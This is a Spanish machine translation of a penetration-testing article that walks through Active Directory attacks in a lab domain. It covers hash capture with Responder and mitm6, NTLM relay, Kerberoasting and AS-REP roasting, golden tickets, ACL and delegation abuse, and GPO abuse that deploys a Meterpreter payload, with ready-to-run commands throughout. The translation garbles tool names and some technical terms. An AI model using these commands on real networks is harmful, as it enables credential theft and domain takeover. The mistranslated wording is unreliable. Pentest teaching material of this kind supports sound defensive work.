Ataques de dominio


Al realizar pruebas de penetración, a menudo detectamos errores en la configuración del dominio. Aunque esto no parece crítico para muchos, en realidad, tales imprecisiones pueden comprometer todo el dominio.

Por ejemplo, de acuerdo con los resultados del pentest en una compañía, llegamos a la conclusión de que todas las máquinas disponibles en el dominio no eran inferiores a Windows10 / Windows Server2016, y tenían todos los parches más recientes. La red se escaneaba regularmente, las máquinas eran difíciles. Todos los usuarios se sentaron a través de tokens y no sabían sus "contraseñas de 20 caracteres". Todo parece estar bien, pero IPv6 no se ha deshabilitado. El esquema de captura de dominio se veía así:

mitm6 -> ntlmrelay -> ataque mediante delegación -> se recibe el hash de la contraseña del administrador local -> se recibe el hash de la contraseña del administrador del dominio.

Desafortunadamente, las certificaciones populares como OSCP, GPEN o CEH no enseñan las pruebas de penetración de Active Directory.

En este artículo, veremos varios tipos de ataques de Active Directory que llevamos a cabo como parte de pentests, así como las herramientas utilizadas. Esto de ninguna manera puede considerarse una guía completa para todo tipo de ataques y herramientas, realmente hay muchos de ellos, y es difícil encajar en un artículo.

Por lo tanto, para demostración, utilizamos una computadora portátil en Kali Linux 2019 y los hosts virtuales generados en VMware. Imagine que el objetivo principal del pentest es obtener derechos de administrador de dominio y, como entrada, tenemos acceso a la red corporativa de la empresa a través de Ethernet. Para comenzar a probar el dominio, necesitamos una cuenta.

Obtener una cuenta


Considere los dos métodos más comunes, en mi opinión, para obtener el nombre de usuario y la contraseña de la cuenta de dominio: falsificación de LLMNR / NBNS y ataque al protocolo IPv6.

Falsificación de LLMNR / NBNS


Se ha dicho mucho sobre este ataque. La conclusión es que el cliente envía LLMNR de multidifusión y transmite solicitudes NBT-NS para resolver nombres de host si falla el DNS. Cualquier usuario de la red puede responder a tales solicitudes.

Herramientas que permiten un ataque:

  • Respuesta
  • Inveight
  • Módulos Metasploit: auxiliar / parodia / llmnr / llmnr_response, auxiliar / parodia / nbns / nbns_response,
    auxiliar / servidor / captura / smb, auxiliar / servidor / captura / http_ntlm

Con un ataque exitoso, podemos obtener el hash NetNTLM de la contraseña del usuario.

Responder -I eth0 -wrf 



El hash resultante, podemos depurar o ejecutar retransmisores NTLM.

Ataque IPv6


Si se usa IPv6 en la red corporativa, podemos responder a las solicitudes de DHCPv6 y establecer nuestra dirección IP como el servidor DNS en la máquina atacada. Como IPv6 tiene prioridad sobre IPv4, las consultas DNS del cliente se enviarán a nuestra dirección. Lea más sobre el ataque aquí .

Herramientas:


Ejecutando la utilidad mitm6

 mitm6 -i vmnet0 

Después de que se complete el ataque, aparecerá un nuevo servidor DNS con nuestra dirección IPv6 en la estación de trabajo atacada.



Las máquinas atacadas intentarán autenticarse con nuestra máquina. Después de haber elevado el servidor SMB usando la utilidad smbserver.py , podemos obtener hashes de contraseña de usuario.

 smbserver.py -smb2support SMB /root/SMB 



Acciones de hash capturadas


El siguiente paso, podemos realizar un ataque criptográfico en los hash de contraseña y obtener la contraseña en forma clara, o realizar un relevo NTLM.

Contraseña fuerza bruta


Es simple: toma una contraseña hash, hashcat

 hashcat -m 5600 -a 3 hash.txt /usr/share/wordlists/rockyou.txt 

y brutus. La contraseña se puede obtener o no :)


Se ha recuperado la contraseña de usuario de Harvey - Pbvf2019

NTLM Relay


También podemos ejecutar relés NTLM. Después de asegurarnos de que SMB Signing no se usa , usamos la utilidad ntlmrelayx.py y realizamos un ataque. Aquí nuevamente, dependiendo del objetivo, seleccionamos el vector que necesitamos. Consideremos algunos de ellos.


Acceso a la máquina atacada a través del protocolo SMB


Realizar un ataque con la tecla i .

 ntlmrelayx.py -t 192.168.1.5 -l loot -i 



Con un ataque exitoso, podemos conectarnos a la máquina remota usando netcat.



Recolección de información de dominio


En este caso, realizamos la retransmisión al controlador de dominio.

 ntlmrelayx.py -t ldap://192.168.1.2 

Si el ataque tiene éxito, obtendremos información detallada sobre el dominio:



Agregar una nueva computadora al dominio


Cada usuario por defecto tiene la capacidad de crear hasta 10 computadoras en el dominio. Para crear una computadora, debe ejecutar un relé en un controlador de dominio utilizando el protocolo ldaps. Está prohibido crear usuarios y computadoras a través de una conexión ldap sin cifrar. Además, no se puede crear una cuenta si se intercepta la conexión a través de SMB.

 ntlmrelayx.py -t ldaps://192.168.1.2 --add-computer 



Como puede ver en la figura, pudimos crear una computadora RORYOTGS $.

Al crear más de 10 computadoras, obtenemos un error de la siguiente forma:



Usando las credenciales de una computadora RORYOTGS $, podemos realizar solicitudes legítimas a un controlador de dominio.

Recolección de información de dominio


Entonces, tenemos un usuario de dominio o una cuenta de computadora. Para continuar con las pruebas, necesitamos recopilar información disponible para una mayor planificación de ataques. Considere algunas de las herramientas que nos ayudarán a determinar la búsqueda de los sistemas más críticos, planificar y ejecutar un ataque.

Sabueso


Una de las herramientas más importantes que se utiliza en casi todas las pruebas de penetración interna. El proyecto se desarrolla activamente y se complementa con nuevas características.

Información recopilada por sabueso
  • Grupo: realiza la recopilación de miembros del grupo
  • LocalAdmin: realiza una recopilación de administrador local
  • RDP: realiza la colección de usuarios de escritorio remoto
  • DCOM: realiza la colección de usuarios COM distribuidos
  • GPOLocalGroup: realiza una recopilación de administración local mediante objetos de directiva de grupo
  • Sesión: realiza la recopilación de sesiones
  • ComputerOnly: realiza la administración local, RDP, DCOM y la recopilación de sesiones
  • LoggedOn: realiza una recopilación de sesiones privilegiadas (requiere derechos de administrador en los sistemas de destino)
  • Fideicomisos: realiza la enumeración de confianza de dominio
  • ACL: realiza la colección de ACL
  • Contenedor: realiza la recolección de contenedores;
  • DcOnly: realiza la recopilación solo con LDAP. Incluye Group, Trusts, ACL, ObjectProps, Container y GPOLocalGroup
  • Todos: realiza todos los métodos de recopilación excepto GPOLocalGroup y LoggedOn
  • Buscar bosque: busca todos los dominios del bosque en lugar de solo el actual
  • Dominio: busca un dominio en particular. Utiliza su dominio actual si es nulo (Predeterminado: nulo)
  • Stealth: realiza métodos de recolección de sigilo. Todas las opciones de sigilo son de un solo hilo
  • SkipGCDeconfliction: omita la desconflicción del catálogo global durante la enumeración de la sesión. Esto puede acelerar la enumeración, pero dará lugar a posibles imprecisiones en los datos.
  • ExcludeDc: excluye los controladores de dominio de la enumeración (evita los indicadores de Microsoft ATA)
  • ComputerFile: especifique un archivo para cargar nombres de computadora / IP desde
  • OU: especifique qué OU enumerar


Los recopiladores de información son SharpHound.exe (requiere .NET instalado v3.5) y el script SharpHound.ps1 escrito en powershell. También hay un compilador escrito por un desarrollador externo de Python, Bloodhound-python .

Como base de datos, se utiliza Neo4j , que tiene su propia sintaxis, que le permite realizar consultas personalizadas. Puede leer más sobre la sintaxis aquí .

Fuera de la caja 12 solicitudes están disponibles
  • Encuentra todos los administradores de dominio
  • Encuentre las rutas más cortas para los administradores de dominio
  • Encuentre directores con derechos DCSync
  • Usuarios con membresía de grupo de dominio extranjero
  • Grupos con membresía de grupo de dominio extranjero
  • Asignar confianzas de dominio
  • Caminos más cortos hacia sistemas de delegación sin restricciones
  • Los caminos más cortos de los usuarios de Kerberoastable
  • Las rutas más cortas a los administradores de dominio de los usuarios de Kerberoastable
  • El camino más corto de los directores propios
  • Rutas más cortas para administradores de dominio de directores propios
  • Caminos más cortos hacia objetivos de alto valor


Los desarrolladores también proporcionan el script DBCreator.py , que le permite generar una base de datos aleatoria para realizar pruebas.



Neo4j tiene una API REST. Hay varias utilidades que pueden conectarse a la base de datos y usar los datos recibidos:


Consideremos algunos de ellos.

Cypherdog


CypherDog es un shell BloodHound escrito en powershell. Incluye 27 cmdlets.

Lista de cmdlet
CmdletSinopsis
Get-BloodHoundCmdletBloodHound RTFM - Obtener Cmdlet
Enviar-sabuesoBloodHound POST - Cypher a la API REST
Get-BloodHoundNodeNodo BloodHound - Obtener nodo
Search-BloodHoundNodeNodo BloodHound - Nodo de búsqueda
New-BloodHoundNodeNodo BloodHound - Crear nodo
Set-bloodhoundnodeNodo BloodHound - Nodo Actualizar
Remove-BloodHoundNodeNodo BloodHound - Eliminar nodo
Get-BloodHoundNodeListBloodHound Node - Obtener lista
Get-BloodHoundNodeHighValueNodo BloodHound - Obtenga HighValue
Get-BloodHoundNodeOwnedNodo BloodHound - Hazte dueño
Get-BloodHoundNodeNoteBloodHound Node - Obtenga nota
Set-BloodHoundNodeNoteNodo BloodHound - Establecer notas
Get-BloodHoundBlacklistBloodHound Node - Obtener lista negra
Set-BloodHoundBlacklistBloodHound Node - Establecer lista negra
Eliminar-BloodHoundBlacklistNodo BloodHound - Eliminar lista negra
Get-BloodHoundEdgeBloodHound Edge - Obtener objetivo
Get-BloodHoundEdgeReverseBloodHound Edge - Obtener fuente
Get-BloodHoundEdgeCrossDomainBloodHound Edge - Obtenga CrossDomain
Get-BloodHoundEdgeCountBloodHound Edge - Obtener cuenta
Get-BloodHoundEdgeInfoBloodHound Edge - Obtener información
New-BloodHoundEdgeBloodHound Edge - Crear borde
Remove-BloodHoundEdgeBloodHound Edge - Eliminar borde
Get-BloodHoundPathShortBloodHound Path - Hazte más corto
Get-BloodHoundPathAnyBloodHound Path - Consigue cualquiera
Get-BloodHoundPathCostBloodHound Path - Obtenga Costo
Get-BloodHoundPathCheapBloodHound Path - Hazte más barato
Get-BloodHoundWald0IOBloodHound Path - Obtenga el índice Wald0


Ejemplos de uso
El equipoDescripción
Search-BloodHoundNode -Type Computer -Property unconstraineddelegation -Value $ true | seleccionar nombre, nombres principales de servicio, delegación sin restricciones, sistema operativo | Lista de formatosBusque equipos con delegación Kerberos ilimitada
Usuario Edge ADMINISTRATOR@JET.LAB Miembro del GrupoLista de grupos de usuarios
¿Qué computadora tiene sesión Usuario ADMINISTRADOR@JET.LABEnumerar las computadoras donde hay una sesión de usuario Administrador
Usuario de ruta Computadora HARVEY@JET.LAB DC1.JET.LABImprima la ruta del usuario al controlador de dominio
qué usuario MemberOf Group 'DOMAIN ADMINS@JET.LAB' * | lista de inicio de sesiónEnumerar sesiones de usuario activas que son miembros del grupo de administradores DOMAIN
qué usuario MemberOf Group 'DOMAIN ADMINS@JET.LAB' | lista de inicio de sesión | opera * -mache 7 | lista AdminTo | seleccione nombreEnumere los usuarios que tienen derechos de administrador en estaciones de trabajo que ejecutan Windows 7 que tienen una sesión de usuarios del grupo de administradores de dominio


Por defecto, se requiere autenticación para acceder a la base de datos neo4j. Puede deshabilitar la autenticación editando el archivo neo4j.conf. Necesita descomentar la línea dbms.security.auth_enabled = false. Pero esto no se recomienda, ya que cualquier usuario puede conectarse a la base de datos en 127.0.0.1:7474 (la configuración predeterminada). Puede leer más sobre autenticación y autorización en neo4j aquí.

Gofetch


GoFetch utiliza un gráfico creado en sabueso para planificar y ejecutar un ataque.

Ejemplo de gráfico de sabueso


Lógica GoFetch


Lanzamiento de ataque

 .\Invoke-GoFetch.ps1 -PathToGraph .\pathFromBloodHound.json 

generador-gt


gt-generator , utilizando datos de BloodHound, facilita la creación de tickets dorados. Para recibir un ticket dorado, solo se requiere el hash de nombre de usuario y contraseña del usuario KRBTGT.

 python gt-generator.py -s 127.0.0.1 -u user -p pass administrator <KRBTGT_HASH> 



Powerview


PowerView es un marco de Powershell incluido con PowerSploit . La siguiente es una lista de algunos cmdlets que pueden ayudarlo a recopilar información sobre un dominio.

Lista de cmdlet
Get-NetDomain -Domain jet.labObtener el dominio actual
Get-domainSIDObtener el SID de dominio actual
Get-NetDomainController -Domain jet.labObtenga controladores de dominio para un dominio
Get-NetUser -Domain jet.lab -UserName labuserObtener usuarios de un dominio
Get-NetGroup * group_name *Obtener todos los grupos en el dominio actual
Get-NetGroupMember -GroupName "Administradores de dominio"Obtenga todos los miembros del grupo Administradores de dominio
Get-NetGroup -UserName "dominio_usuario"Obtener la membresía de grupo para un usuario
Get-NetComputer -FullDataObtenga todas las computadoras del dominio
Find-LocalAdminAccess -VerboseEncuentra todas las máquinas en el dominio actual donde el usuario actual tiene acceso de administrador local
Get-NetSession -ComputerName dc02.jet.labLista de sesiones en una computadora en particular
Invoke-UserHunter -CheckAccessEncuentre las computadoras donde un administrador de dominio ha iniciado sesión y el usuario actual tiene acceso


Adidnsdump


Al usar DNS integrado en Active Directory, cualquier usuario de dominio puede consultar todos los registros DNS predeterminados.

Herramienta utilizada: Adidnsdump.



Ataques de dominio


Ahora que tenemos la información del dominio, pasamos a la siguiente fase de las pruebas de penetración, directamente al ataque. Considere 4 vectores potenciales:

  1. Asado
  2. Ataque a través de ACL
  3. Delegación Kerberos
  4. Abusar de los permisos de GPO


Asado


Este tipo de ataque apunta al protocolo Kerberos. Hay 2 tipos de ataque como el asado:

  • Kerberoast
  • Asreproast

Kerberoast


El ataque fue demostrado por primera vez por el usuario timmedin en DerbyCon en 2014 ( video ). Con un ataque exitoso, podremos resolver la contraseña del servicio de ultrasonido en modo fuera de línea, sin temor a bloquear al usuario. Muy a menudo, las cuentas de servicio tienen derechos excesivos y una contraseña perpetua, lo que puede permitirnos obtener derechos de administrador de dominio.
Para comprender la esencia del ataque, considere cómo funciona Kerberos.



1. La contraseña se convierte en un hash NTLM, la marca de tiempo se cifra con un hash y se envía a KDC como un autenticador en la solicitud de ticket TGT (AS-REQ). El controlador de dominio (KDC) verifica la información del usuario y crea un ticket TGT.

2. El ticket TGT se cifra, firma y envía al usuario (AS-REP). Solo el servicio Kerberos (KRBTGT) puede abrir y leer datos de un ticket TGT.

3. El usuario envía el ticket TGT al controlador de dominio a pedido del ticket TGS (TGS-REQ). El controlador de dominio abre un ticket TGT y verifica la suma de control PAC.

4. El ticket TGS se cifra con el hash NTLM de la contraseña de la cuenta de servicio y se envía al usuario (TGS-REP).

5. El usuario proporciona un ticket TGS a la computadora en la que se ejecuta el servicio (AP-REQ). El servicio abre un ticket TGS utilizando su hash NTLM.

6. Se proporciona acceso al servicio (AS-REP).

Después de recibir un ticket TGS (TGS-REP), podemos encontrar la contraseña de la cuenta de servicio sin conexión. Por ejemplo, usando hashcat.

Según RFC396 , 20 tipos de cifrado están reservados para el protocolo Kerberos. Los tipos de cifrado que se usan ahora, en orden de prioridad:

  • AES256_CTS_HMAC_SHA1
  • AES128_CTS_HMAC_SHA1
  • RC4_HMAC_MD5

En versiones recientes de Windows, el cifrado AES se usa de manera predeterminada. Pero para la compatibilidad con sistemas por debajo de Windows Vista y Windows 2008, se requiere soporte para el algoritmo RC4. Cuando se realiza un ataque, siempre se intenta primero obtener un ticket TGS con el cifrado RC4_HMAC_MD5, que permite ordenar las contraseñas más rápidas, y luego con el resto. Harmj0y realizó un estudio interesante y descubrió que si especifica solo el soporte de cifrado Kerberos AES128 y AES256 en las propiedades del usuario, el ticket Kerberos todavía se emite con cifrado RC4_HMAC_MD5.



Deshabilitar RC4_HMAC_MD5 es necesario a nivel de dominio.

El ataque de Kerberoasting tiene 2 enfoques.

1. El viejo método. Los tickets TGS se solicitan a través de setspn.exe o .NET System.IdentityModel.Tokens.KerberosRequestorSecurityToken de la clase Powershell, recuperados de la memoria utilizando mimikatz, luego convertidos al formato deseado (John, Hashcat) y ordenados.

2. El nuevo método. machosec notó que la clase KerberosRequestorSecurityToken tiene un método GetRequest , que extrae la parte encriptada con una contraseña de un ticket TGS.

Herramientas para realizar un ataque:

1) Buscar registros SPN


2) Solicite un boleto de TGS

  • setspn.exe (utilidad nativa de Windows)
  • Solicitud de entradas a través de powershell

     Add-Type -AssemblyNAme System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList “<ServicePrincipalName>” 
  • Request-SPNTicket

Puede ver los tickets en caché actuales con el comando klist.

Registros comunes de SPN
  • TERMSRV - Escritorio remoto
  • SmtpSVC y SMTP - Correo
  • WSMAN - WinRM
  • ExchangeAB, ExchangeRFR, ExchangeMDM - MS Exchange
  • POP / POP3 - Servicio postal POP3
  • IMAP / IMAP4 - Servicio de correo electrónico IMAP
  • MSSQLSvc - Microsoft SQL Server
  • MONGO - Servidor de base de datos MongoDB
  • DNS: servidor DNS
  • HTTP, WWW - Servidor web
  • LDAP - LDAP
  • FTP - Servidor FTP


3) Exportación de boletos:



Un ejemplo de ejecución automatizada de los 3 puntos:

  • RiskiskSPN

     Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File kerberoasting.txt 
  • Powersploit

     Invoke-Kerberoast -Domain jet.lab -OutputFormat Hashcat | fl 
  • GetUserSPNs.py

     GetUserSPNs.py -request jet.lab\user:Password 

Asreproast


La vulnerabilidad es que la autenticación previa de Kerberos está deshabilitada. En este caso, podemos enviar solicitudes AS-REQ a un usuario que tenga desactivada la autenticación previa de Kerberos y obtener la parte encriptada con una contraseña.



La vulnerabilidad es rara, ya que deshabilitar la autenticación previa no es la configuración predeterminada.

Búsqueda de usuarios con autenticación Kerberos deshabilitada:

  • Powerview

     Get-DomainUser -PreauthNotRequired -Properties samaccountname -Verbose 
  • Módulo de Active Directory

     get-aduser -filter * -properties DoesNotRequirePreAuth | where {$_.DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name 

Obteniendo la parte encriptada:



Ataque a través de ACL


Una ACL en un contexto de dominio es un conjunto de reglas que definen los derechos de acceso de los objetos en AD. Se puede configurar una ACL para un solo objeto (por ejemplo, una cuenta de usuario) o para una unidad organizativa, por ejemplo, OU. Cuando configura la ACL en la OU, todos los objetos dentro de la OU heredarán la ACL. Las ACL contienen entradas de control de acceso (ACE) que determinan cómo interactúa el SID con el objeto de Active Directory.

Por ejemplo, tenemos tres grupos: A, B, C, donde el grupo C es miembro del grupo B y el grupo B es miembro del grupo A. Cuando agrega un invitado al grupo C, el invitado no solo será miembro del grupo C, sino también un miembro indirecto de los grupos B y A. Al agregar acceso a un objeto de dominio al grupo A, el usuario invitado también tendrá acceso a este objeto. En una situación en la que el usuario es miembro directo de un solo grupo, y este grupo es miembro indirecto de los otros 50 grupos, es fácil perder la conexión de los permisos heredados.

Puede obtener las ACL asociadas con un objeto ejecutando el siguiente comando

 Get-ObjectACL -Samaccountname Guest -ResolveGUIDs 

Puede usar la herramienta para explotar errores en la configuración de ACL.
Invoke-ACLPwn . El script de Powershell recopila información sobre todas las ACL en el dominio utilizando el recopilador BloodHound, SharpHound, y crea una cadena para obtener el permiso writeDACL. Después de construir la cadena, el script opera cada paso de la cadena. El orden del guión:

  1. El usuario se agrega a los grupos necesarios.
  2. Se agregan dos ACE (Replicar cambios de directorio y Replicar cambios de directorio ALL) a las ACL del objeto de dominio.
  3. Si tiene derechos para DCSync utilizando la utilidad Mimikatz, se solicita el hash de contraseña del usuario krbtgt (configuración predeterminada).
  4. Una vez completada la operación, el script elimina todos los grupos agregados y las entradas ACE en la ACL.

El script está dirigido solo a usar permisos writeDACL. Los siguientes derechos de acceso también pueden ser de interés para un atacante:

  • ForceChangePassword. Derechos para cambiar la contraseña del usuario cuando no se conoce la contraseña actual. Operación con PowerSploit - Set-DomainUserPassword.
  • AddMembers. Derechos para agregar grupos, computadoras y usuarios a grupos. Operación con PowerSploit - Add-DomainGroupMember.
  • GenericWrite Derechos para cambiar los atributos de un objeto. Por ejemplo, cambie el valor del parámetro scriptPath. La próxima vez que el usuario inicie sesión en el sistema, se iniciará el archivo especificado. Operación con PowerSploit - Set-DomainObject.
  • WriteOwner. Derechos para cambiar el propietario del objeto. Operación con PowerSploit - Set-DomainObjectOwner.
  • AllExtendedRights. Derechos para agregar usuarios a grupos, cambiar contraseñas de usuarios, etc. Operación con PowerSploit - Set-DomainUserPassword o Add-DomainGroupMember.

Operación


Comenzando desde una máquina que está en un dominio

 ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe 

Comenzando desde una máquina que no está en un dominio

 /Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'domain\user' -Domain 'fqdn_of_target_domain' -Password 'Pass' 

  • aclpwn.py es una herramienta similar escrita en Python

Delegación Kerberos


La delegación de autoridad de Kerberos le permite reutilizar las credenciales de usuario final para acceder a los recursos alojados en otro servidor.

La delegación de Kerberos puede ser de tres tipos:

  1. Ilimitado (delegación sin restricciones). La única opción de delegación antes de Windows Server 2003
  2. Delegación restringida desde Windows Server 2003
  3. Delegación restringida basada en recursos Introducido en Windows Server 2012

Delegación ilimitada


En el complemento de Active Directory, la función de delegación ilimitada habilitada es la siguiente:



Para mayor claridad, considere cómo se produce una delegación ilimitada en un diagrama.



  1. La contraseña del usuario se convierte a ntlm hash. La marca de tiempo se cifra con este hash y se envía al controlador de dominio para solicitar un ticket TGT.
  2. El controlador de dominio verifica la información sobre el usuario (restricción de inicio de sesión, membresía en grupos, etc.), crea un ticket TGT y lo envía al usuario. El ticket TGT está encriptado, firmado y solo krbtgt puede leer sus datos.
  3. El usuario solicita un ticket TGS para acceder al servicio web en el servidor web.
  4. El controlador de dominio proporciona un ticket TGS.
  5. El usuario envía tickets TGT y TGS al servidor web.
  6. La cuenta de servicio del servidor web utiliza el ticket TGT del usuario para solicitar un ticket TGS para acceder al servidor de la base de datos.
  7. La cuenta de servicio se conecta al servidor de la base de datos como usuario.

El principal peligro de la delegación ilimitada es que cuando una máquina con delegación ilimitada se ve comprometida, un atacante podrá obtener tickets TGT de los usuarios de esta máquina y acceder a cualquier sistema en el dominio en nombre de estos usuarios.

Busque máquinas en un dominio con delegación ilimitada:

  • Powerview

     Get-NetComputer -unconstrained 
  • Módulo de Active Directory

     Get-Adcomputer -Filter {TrustedForDelegation -eq $True} 
    .

Exportación de entradas:

  • Usando mimikatz. sekurlsa :: tickets / export
  • También puedes realizar un ataque Pass-The-ticket.

      kerberos::ptt C:\tickets\. 



Delegación limitada


El modo de delegación limitada le permite acceder solo a los servicios permitidos y en una máquina específica. En el complemento de Active Directory, se ve así:



Con delegación limitada, se utilizan 2 extensiones de protocolo Kerberos:

  • S4uself
  • S4UProxy

S4U2Self se usa cuando el cliente no se autentica usando el protocolo Kerberos.

Para una delegación ilimitada, TGT se utiliza para identificar al usuario, en cuyo caso la extensión S4U usa la estructura PA-FOR-USER como el nuevo tipo en el campo de datos de padata / pre-autenticación. El proceso S4U2self solo se permite si el usuario solicitante tiene el campo TRUSTED_TO_AUTH_FOR_DELEGATION establecido en su userAccountControl.



S4U2Proxy permite que la cuenta de servicio use el ticket de redireccionamiento recibido en el proceso S4U2proxy para solicitar un ticket TGS para acceder a los servicios permitidos (msds-allowtodelegateto). KDC verifica si el servicio solicitado se especifica en el campo msds-allowtodelegateto del usuario solicitante y emite un ticket si la verificación es exitosa. Por lo tanto, la delegación está "limitada" a servicios específicos de destino.



Puede buscar computadoras y usuarios en un dominio de delegación limitado usando PowerView .

Busque computadoras con delegación ilimitada

 Get-DomainComputer -TrustedtoAuth 

Buscar usuarios de delegación limitada

 Get-DomainUser -TrustedtoAuth 

Para realizar un ataque, necesitamos una contraseña clara, un hash de contraseña NTLM o un ticket TGT.



Delegación limitada basada en recursos


Al igual que con la delegación regular, se utilizan extensiones S4U. Dado que la delegación basada en recursos es principalmente una delegación limitada, los ataques que son relevantes para la delegación limitada regular también están disponibles aquí. La única diferencia es que en una delegación limitada simple, el servicio A debería tener el atributo msDS-allowedToDelegateTo = ServiceB, y aquí el servicio B debería tener el atributo msDS-enabledToActOnBehalfOfOtherIdentity = Service A.



Esta propiedad permite un ataque más publicado por harmj0y. Un ataque requiere permisos para modificar el parámetro PrincipalsAllowedToDelegateToAccount, que establece el atributo msds-AllowToActOnBehalfOfOtherIdentity, que contiene una lista de control de acceso (ACL). A diferencia de la delegación limitada, no necesitamos derechos de administrador de dominio para cambiar el atributo msds-allowedToActOnBehalfOfOtherIdentity. Puede averiguar quién tiene permiso para editar el atributo de la siguiente manera:

 (Get-acl "AD:$((get-adcomputer Windows7).distinguishedname)").access | Where-Object -Property ActiveDirectoryRights -Match WriteProperty |out-gridview 



Entonces, para llevar a cabo el ataque, ejecute mitm6

 mitm6 -I vmnet0 

Comenzamos ntlmrelayx con la opción --delegate-access

 ntlmrelayx -t ldaps://dc1.jet.lab --delegate-access 

Como resultado del ataque, se crea una computadora ZGXTPVYX $ con derechos de delegación a la computadora con Windows 7.

 $x = Get-ADComputer Windows7 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity $x.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access 



Yegor Podmokov presentó un buen informe de delegación en PHDays.



Abusar de los permisos de GPO


Group Policy Objects es una herramienta que permite a los administradores administrar eficientemente un dominio. Pero sucede que a los usuarios se les asignan derechos innecesarios, incluido el cambio de políticas de GPO.

Para demostrar el ejemplo, agregaremos al usuario de Ragnar los derechos para editar la Política de controladores de dominio predeterminados (en la vida real, los derechos de esta política se otorgan solo a los administradores de dominio, pero la esencia del ataque no cambia; en el caso de otra política, solo cambian los hosts controlados).



Enumere los derechos de todos los GPO en el dominio con PowerView .

 Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name} 



Un usuario de Ragnar tiene derecho a cambiar un GPO que tenga un GUID de 6AC1786C-016F-11D2-945F-00C04FB984F9. Para determinar qué hosts en el dominio aplican esta política, ejecute el siguiente comando

 Get-NetOU -GUID "6AC1786C-016F-11D2-945F-00C04FB984F9" | % {Get-NetComputer -AdSpath $_} 



Tengo el host dc1.jet.lab.

Conociendo la política específica que el usuario de Ragnar puede editar y los hosts a los que se aplica esta política, podemos realizar varias acciones en el host dc1.jet.lab.

A continuación se encuentran las opciones para usar el GPO
Computer Configuration\Preferences\Control Panel Settings\Folder OptionsCreate/alter file type associations, register DDE actions with those associations
Computer Configuration\Preferences\Control Panel Settings\Local Users and GroupsAdd new local admin account
Computer Configuration\Preferences\Control Panel Settings\Scheduled TasksDeploy a new evil scheduled task (ie: PowerShell download cradle)
Computer Configuration\Preferences\Control Panel Settings\ServicesCreate and configure new evil services
Computer Configuration\Preferences\Windows Settings\FilesAffected computers will download a file from the domain controller
Computer Configuration\Preferences\Windows Settings\INI FilesUpdate existing INI files
Computer Configuration\Preferences\Windows Settings\RegistryUpdate specific registry keys. Very useful for disabling security mechanisms, or triggering code execution in any number of ways
Computer Configuration\Preferences\Windows Settings\ShortcutsDeploy a new evil shortcut
Computer Configuration\Policies\Software Settings\Software installationDeploy an evil MSI. The MSI must be available to the GP client via a network share
Computer Configuration\Policies\Windows Settings\Scripts (startup/shutdown)Configure and deploy evil startup scripts. Can run scripts out of GPO directory, can also run PowerShell commands with arguments
Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Audit PolicyModify local audit settings. Useful for evading detection
Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\User Rights Assignment\Grant a user the right to logon via RDP, grant a user SeDebugPrivilege, grant a user the right to load device drivers, grant a user seTakeOwnershipPrivilege. Basically, take over the remote computer without ever being an administrator on it
Computer Configuration\Policies\Windows Settings\Security Settings\RegistryAlter DACLs on registry keys, grant yourself an extremely hard to find backdoor on the system
Computer Configuration\Policies\Windows Settings\Security Settings\Windows FirewallManage the Windows firewall. Open up ports if they're blocked
Computer Configuration\Preferences\Windows Settings\EnvironmentAdd UNC path for DLL side loading
Computer Configuration\Preferences\Windows Settings\FilesCopy a file from a remote UNC path


Las herramientas New-GPOImmediateTask y SharpGPOAbuse le permiten:

  • Ejecutar tarea en el planificador de tareas
  • Agregar derechos de usuario (SeDebugPrivilege, SeTakeOwnershipPrivilege, etc.)
  • Agregar una secuencia de comandos que se ejecuta después del inicio
  • Agregar usuario al grupo local

Por ejemplo, agregue una tarea en el programador de tareas para obtener una sesión de Meterpreter:

 New-GPOImmediateTask -TaskName test3 -GPODisplayName "Default Domain Controllers Policy" -CommandArguments '<powershell_meterepreter_payload>' -Force 

Después de la ejecución, la tarea programada aparece prueba



y aparece la sesión de Meterpreter.





Para eliminar una tarea programada, debe ejecutar el siguiente comando:

 New-GPOImmediateTask -Remove -Force -GPODisplayName SecurePolicy 

Conclusiones


En el artículo examinamos solo algunos vectores de ataque. Las vistas como Enumerate Accounts y Password spray , MS14-068 , un montón de errores de impresora y delegación sin restricciones, ataques a Exchange ( Ruler , PrivExchange , ExchangeRelayX ) pueden ampliar significativamente el alcance del ataque.

Las técnicas de ataque y los métodos de fijación (Boleto de oro, Boleto de plata, Pase-El-Hash, Over pass the hash, SID History, DC Shadow, etc.) cambian constantemente, y el equipo de defensa siempre debe estar listo para nuevos tipos de ataques.

Source: https://habr.com/ru/post/449278/


All Articles